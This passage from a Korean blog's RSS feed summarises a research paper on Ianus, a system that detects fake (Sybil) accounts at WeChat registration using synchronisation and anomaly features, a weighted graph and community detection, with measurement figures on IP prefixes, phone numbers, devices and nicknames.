&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Haizhong Zheng, Minhui Xue, Hao Lu, Shuang Hao, Haojin Zhu, Xiaohui Liang, Keith Ross, &quot;Smoke Screener or Straight Shooter: Detecting Elite Sybil Attacks in User-Review Social Networks.&quot; , &lt;i&gt;arXiv e-prints&lt;/i&gt;&lt;span style=&quot;background-color: #ffffff; color: #222222;&quot;&gt;, arXiv-1709, 2017&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;</description>
      <category>논문</category>
      <category>elite sybil attack</category>
      <category>sybil attack</category>
      <category>URNs</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/123</guid>
      <comments>https://ddongwon.tistory.com/123#entry123comment</comments>
      <pubDate>Tue, 8 Mar 2022 00:31:20 +0900</pubDate>
    </item>
    <item>
      <title>[논문] Detecting fake accounts in online social networks at the time of registrations</title>
      <link>https://ddongwon.tistory.com/122</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;논문 제목 : Detecting fake accounts in online social networks at the time of registrations&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0. abstract&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;online social networks에서 수많은 fake accounts를 생성해 악용하는 sybil attack이 자주 발생하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 sybil detection 방식은 너무 rich한 content, behavior, social graphs 를 이용하여 탐지 과정에서 큰 delay를 발생시킨다는 문제가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 본 논문에서는 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt; &lt;/span&gt;라 불리는 sybil detection 방식을 제안한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;는 계정이 등록되는 단계에서 탐지하기 때문에 보다 sybil attack에 대한 보다 빠른 대처가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 중국에서 최대 규모의 social network 서비스인 WeChat에서의 registration datase을 사용하였다. 해당 데이터셋에서는 Sybils 에 대한 label이 기록되어 있다. 본 연구진은 Sybils와 benign users의 registration pattern을 측정하는 방안을 고안하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 측정한 결과를 바탕으로 graph inference problem 방식으로 sybil detection 모델을 고안하였다. graph 모델을 통해 heterogeneous 한 feature들을 integrate 할 수 있으며, 각 계정마다 feature를 이용해 graph를 생성하여 sybils 들끼리 얼마나 밀집되어있고, benign user들은 얼마나 sparse 하게 위치해있는지를 파악함으로써 Sybils를 탐지하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt; &lt;/span&gt;는 WeChat registration 데이터셋을 통해 evaluation을 진행하게 되며, WeChat은 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;를 통해 새로 등록하는 account에서 Sybils를 탐지하게 된다. 그 결과 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;가 400K개 이상의 registration account를 검사하고, 약 96% 이상의 정확도를 보임을 알 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. Introduction&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;트위터 등과 같은 social network 서비스에서 fake account들로 인한 다양한 문제들이 발생하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 sybil detection 방식들은 content(URL in tweets), behavior(clickstream), social graphs(friendship graphs) 등의 방식을 통해 Sybils를 탐지하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 해당 방식들은 delay가 너무 심해, 탐지하기 전에 이미 다양한 malicious task들을 저질러버리는 경우가 많다. 따라서 본 연구에서는 registration 단에서 sybil attack을 탐지하는 방안을 제안한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에도 CAAPTCHA 등을 통해 registration 단에서 fake account를 탐지하는 방안들이 있지만, 쉽게 우회된다는 문제가 항상 존재해왔다. 이를 해결하기 위해 첫번째로, 본 연구에서는 WeChat registration 데이터셋을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 데이터셋에는 770K 개의 benign users, 647K 개의 sybils account 데이터로 구성되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 account 데이터에는 IP address, phone number, device ID, nickname 등의 정보가 담겨있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 sybils 들이 synchronized 된 패턴, 가령 같은 IP prefix 사용과 같은 것을 이용한다는 것을 알 수 있다. 하지만 이 정보만 가지고는 완벽하게 탐지할 수 없기 때문에 보다 심도있는 패턴 분석이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째로, 확보한 패턴 분석 결과를 이용해 sybils를 탐지하는 시스템인 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;를 고안하였다. 가장 중요한 부분은 registration data에 있는 synchronized하고 abnormal한 패턴들이 heterogeneous한데, 이를 integrate 하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt; Ianus&lt;/b&gt;&lt;/span&gt;에서는 integration을 위해 graph inference techniques를 사용하였다. synchronized 하고 abnormal한 registration 패턴들을 이용해 weighted graph를 만들고, graph를 분석해 sybils를 분석하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;graph에서 각 노드는 account 이다. 따라서 sybil node끼리는 densly하게 연결되어있을 것이고, benign node끼리는 sparse 하게 연결되어 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 목적을 달성하기 위해 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;는 3가지 단계를 거친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;1) feature extraction 2) graph building 3) Sybil detection&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt; feature extraction&lt;/b&gt;&lt;/span&gt; 단계에서는 우선 2개의 account를 짝지은 후, 해당 쌍의 account의 비슷한 정도를 나타내는 synchronization based feature와 정상적이지 않은 정도를 나타내는 anomaly based features를 추출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어 한쌍의 account가 같은 device를 쓰는 경우 synchronization feature에서 탐지될 것이며, 같은 device를 서로 다른 account 를 만드는데 쓰는게 정상적이지 않으므로 anomaly based feature에서 확인될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;graph building&lt;/b&gt;&lt;/span&gt; 단계에서는 앞서 생성한 synchronization based feature와 anomaly based feature 를 기반으로 account들 간의 weighted grpah를 생성할 것이다. 특히 각 account 쌍에게 feature 값을 기반으로 'sync-anomaly score'를 매길 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 만약 한쌍의 account가 서로 synchronized 하거나 anomaly한 패턴을 가질 경우, sync-anomaly score가 높게 나타날 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, sync-anomaly score는 binary feature(True or False)들의 합으로 산출이 된다. 그러나 단순하게 더하는 것은 각 feature들의 weight 가 고려되지 않는 방식이므로, ML 의 logistic regression을 통해 sync-anomaly score에 적용되는 weight를 학습할 것이다. 이후에 graph를 그릴 때 각 노드를 연결하는 edge에 이 sync-anomaly score가 들어갈 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;Sybil detection&lt;/b&gt;&lt;/span&gt; 단계에서는 실제 Sybils 를 탐지하는 단계로, community detection 알고리즘이 사용된다. 각 노드들에는 weighted node degree가 존재하는데, 이는 해당 노드와 연결된 edge의 weight에 비례해 결정된다. 따라서 특정 노드의 degree가 높다면, 해당 노드가 sybil일 확률이 높은 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 node degree based community detection 알고리즘을 사용하여 Sybil detection을 수행하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세번째로, 제안한 Lanus 모델을 평가하기 위해 WeChat 데이터를 사용할 것이다. 평가한 결과 Lanus는 80.2%의 recall과 92.4%의 precision이라는 높은 성능으로 잘 동작하는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 각 단계별로 다양한 design을 적용함으로써 성능을 확인하였다. 예를 들어 feature extraction 단계에서는 synchronization based feature와 anomaly based feature가 상호 보완적으로 동작한 다는 것을 확인 했으며, 이 두 feature를 잘 결합할 경우 높은 성능을 나타내는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 graph building 단계에서는 logistic regression을 통해 각 feature별로 서로 다른 weight를 적용하였을 때 높은 성능을 내는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 Sybil detecion 단계에서는 community detection 방식으로 Louvain method를 사용해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 실제 실험 결과 Louvain method에 비해 본 논문에서 제안하는 node degree based community detecion 방식을 사용하였을 때, 탐지에 걸리는 시간이 훨씬 줄어드는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 결과, WeChat에서는 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;가 하루에 400K 정도의 새로운 registred account를 확인할 수 있고 정확도 또한 96% 정도의 성능을 낸다고 평가하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요약해보면, 본 논문에서는 크게 3가지의 contributions를 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) large-scale의 데이터 분석을 통해 Sybils 와 benign account의 특징을 잡아냈다. Sybils는 synchronized와 abnormal registration 패턴을 동시에 가짐을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;는 각 노드들 간의 synchronized &amp;amp; abnormal pattern과 graph 구조 분석을 통해 Sybils를 탐지할 수 있음을 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 제안한 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;를 WeChat의 registration 데이터를 통해 평가하였고, 실제 WeChat에서 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;를 사용하는 등 실제 환경에서도 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Ianus&lt;/b&gt;&lt;/span&gt;가 잘 동작함을 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. Related work&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 sybil detection 기법들은 대부분 사용자들의 content, behavior나 sybils로부터 생성된 social graph 를 활용하는 경우가 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 social graph를 이용해 grpah-based ML 기술을사용한 연구들의 경우, 사용자들의 rich feature를 기반으로 동작하기 때문에 delay가 발생한다는 문제가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 본 논문에서 제안하는 Ianus의 경우, registration 데이터만을 사용하므로 delay가 매우 적다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. Measuring registration patterns&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp;3.1. WeChat and Dataset&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WeChat 은 현재 중국에서 가장 인기있는 OSN(Online Social Network)이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 연구팀은 WeChat에서 benign &amp;amp; sybil user의 accounts를 획득하였다. WeChat 보안팀에 의하면 해당 데이터셋의 라벨링은 약 95%의 정확도를 가지고 있다. 100%가 아니라 살짝 문제가 될 순 있지만, 본 연구팀에서는 이정도는 크게 개의치 않을 것이라 판단하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터셋의 데이터들은 아래 [그림 1]과 같은 Attributes를 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CdLPM/btru6Mldu7E/H4Fk52HMLYWK124eFd7nS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CdLPM/btru6Mldu7E/H4Fk52HMLYWK124eFd7nS1/img.png&quot; data-alt=&quot;[그림 1] WeChat 데이터셋 attributes&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CdLPM/btru6Mldu7E/H4Fk52HMLYWK124eFd7nS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCdLPM%2Fbtru6Mldu7E%2FH4Fk52HMLYWK124eFd7nS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;398&quot; height=&quot;251&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] WeChat 데이터셋 attributes&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;nbsp;3.2. Synchronization&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sybils들은 registration 과정에서 공통적인 패턴을 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서는 이 공통적인 패턴을 'Synchronizaed register patterns'라 부를 것이다. 지금부터 각 attributes 별로 이 synchronized 패턴의 measurement 결과를 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;1) IP&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WeChat은 IPv4 주소를 지원한다. 물론 최근 CIDR 과 같은 주소 체계는 prefix가 같다고 무조건 같은 위치에서 접속한 것이라는 보장은 없지만, 실험결과 그냥 그렇다고 생각할 때 의미 있는 결과가 나왔기에, 같은 prefix가 유의미 하다고 가정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림 2의 (a) 그림과 같이 그래프로 Account의 수와 Prefixes 의 수를 매핑해본 결과, power law를 따르는 분포가 나왔으며, 80%의 account들이 benign 과 sybil account들의 경우 각각 34.5%, 15.5% 의 prefix 에서 registration 된 것을 확인할 수 있었다. 즉, sybil account는 benign account에 비해 특정 prefix 에 몰려있는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 그림 2의 (b) 그림은 특정 IP prefix에 account가 가입된 경우, Sybil account의 비율을 나타낸 것이다. 그림에서 볼 수 있듯이, 비교적 적은 수의 accounts들이 동일한 IP prefix를 통해 가입된 경우, sybil 이라 할 순 없지만, 비교적 많은 수의 accounts 들이 동일한 IP prefix를 통해 가입된 경우, 해당 accounts들이 sybils 일 확률이 높았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK5UfN/btru7r8Z10X/lHrvvKe15SpeUwVcoD8G31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK5UfN/btru7r8Z10X/lHrvvKe15SpeUwVcoD8G31/img.png&quot; data-alt=&quot;[그림 2] Number of accounts &amp;amp;amp;amp; Number of IP prefixes / Fraction of sybils&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK5UfN/btru7r8Z10X/lHrvvKe15SpeUwVcoD8G31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK5UfN%2Fbtru7r8Z10X%2FlHrvvKe15SpeUwVcoD8G31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;236&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] Number of accounts &amp;amp;amp; Number of IP prefixes / Fraction of sybils&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;2) Phone number &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전화 번호의 경우, 마지막 4자리를 제외하면 지역번호와 통신사 번호로 할당된다. 따라서 본 논문에서는 마지막 4자리는 삭제된 채로 실험을 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;measurement 결과, IP 와 거의 비슷한 경향을 나타냈는데, 그 결과는 [그림 3]과 같다. Sybils account일 경우 특정 전화 번호에 몰리는 경향이 있으며, 비교적 많은 수의 accounts 들이 동일한 전화 번호를 사용할 경우, sybil account일 확률이 높았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNThBf/btru8VV2iIY/UbOplsn6IWCqZJ3gbM90M0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNThBf/btru8VV2iIY/UbOplsn6IWCqZJ3gbM90M0/img.png&quot; data-alt=&quot;[그림 3] Number of accounts &amp;amp;amp;amp; Number of phone prefixes / Fraction of sybils&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNThBf/btru8VV2iIY/UbOplsn6IWCqZJ3gbM90M0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNThBf%2Fbtru8VV2iIY%2FUbOplsn6IWCqZJ3gbM90M0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;189&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] Number of accounts &amp;amp;amp; Number of phone prefixes / Fraction of sybils&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;3) Device &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 4]에서 확인할 수 있듯이, Device도 IP나 Phone number와 같은 경향을 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pt0Rn/btru4iE0I8h/k2mjawwITFK2R1imELR4xK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pt0Rn/btru4iE0I8h/k2mjawwITFK2R1imELR4xK/img.png&quot; data-alt=&quot;[그림 4] Number of accounts &amp;amp;amp;amp; Number of devices / Fraction of sybils&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pt0Rn/btru4iE0I8h/k2mjawwITFK2R1imELR4xK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpt0Rn%2Fbtru4iE0I8h%2Fk2mjawwITFK2R1imELR4xK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;190&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] Number of accounts &amp;amp;amp; Number of devices / Fraction of sybils&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;4) nickname &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 5]에서 확인할 수 있듯이, Sybil account의 경우, nickname으로 소문자+숫자 조합이나 숫자+소문자+숫자 조합을 많이 사용한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4rZt4/btru8ICgAmI/iyHME2T82kwFooc9GNxic1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4rZt4/btru8ICgAmI/iyHME2T82kwFooc9GNxic1/img.png&quot; data-alt=&quot;[그림 5] nickname 패턴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4rZt4/btru8ICgAmI/iyHME2T82kwFooc9GNxic1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4rZt4%2Fbtru8ICgAmI%2FiyHME2T82kwFooc9GNxic1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; 